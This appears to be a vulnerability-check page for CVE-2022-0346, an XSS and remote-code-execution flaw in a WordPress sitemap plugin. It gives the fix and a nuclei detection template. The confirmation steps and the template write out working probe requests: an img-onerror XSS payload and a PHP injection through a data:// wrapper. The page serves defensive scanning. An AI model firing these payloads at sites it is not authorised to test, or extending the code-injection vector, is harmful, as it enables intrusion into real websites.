WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution

mediumseverity

6.1CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.

Impact

Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code on the affected system or inject malicious scripts into web pages viewed by users.

Fix

Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities.

How to confirm it

Send: GET {{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp ; GET {{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp
Positive when: contains in body_1 "<img src onerror=alert(document.domain)>" and "Invalid Provider type specified" OR contains in body_2 "2ef3baa95802a4b646f2fc29075efe34"

Run it with nuclei: nuclei -id CVE-2022-0346 -u <target>

The full check

id: CVE-2022-0346

info:
  name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution
  author: Akincibor,theamanrawat
  severity: medium
  description: |
    WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
  impact: |
    Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code on the affected system or inject malicious scripts into web pages viewed by users.
  remediation: |
    Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities.
  reference:
    - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
    - https://wordpress.org/plugins/www-xml-sitemap-generator-org/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0346
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0346
    cwe-id: CWE-79
    epss-score: 0.02067
    epss-percentile: 0.81563
    cpe: cpe:2.3:a:xmlsitemapgenerator:xml_sitemap_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xmlsitemapgenerator
    product: xml_sitemap_generator
    framework: wordpress
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org,xmlsitemapgenerator,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
      - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body_1
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Invalid Provider type specified"
        condition: and

      - type: word
        part: body_2
        words:
          - "2ef3baa95802a4b646f2fc29075efe34"

References

Use this check only on systems you are authorised to test. Where the data comes from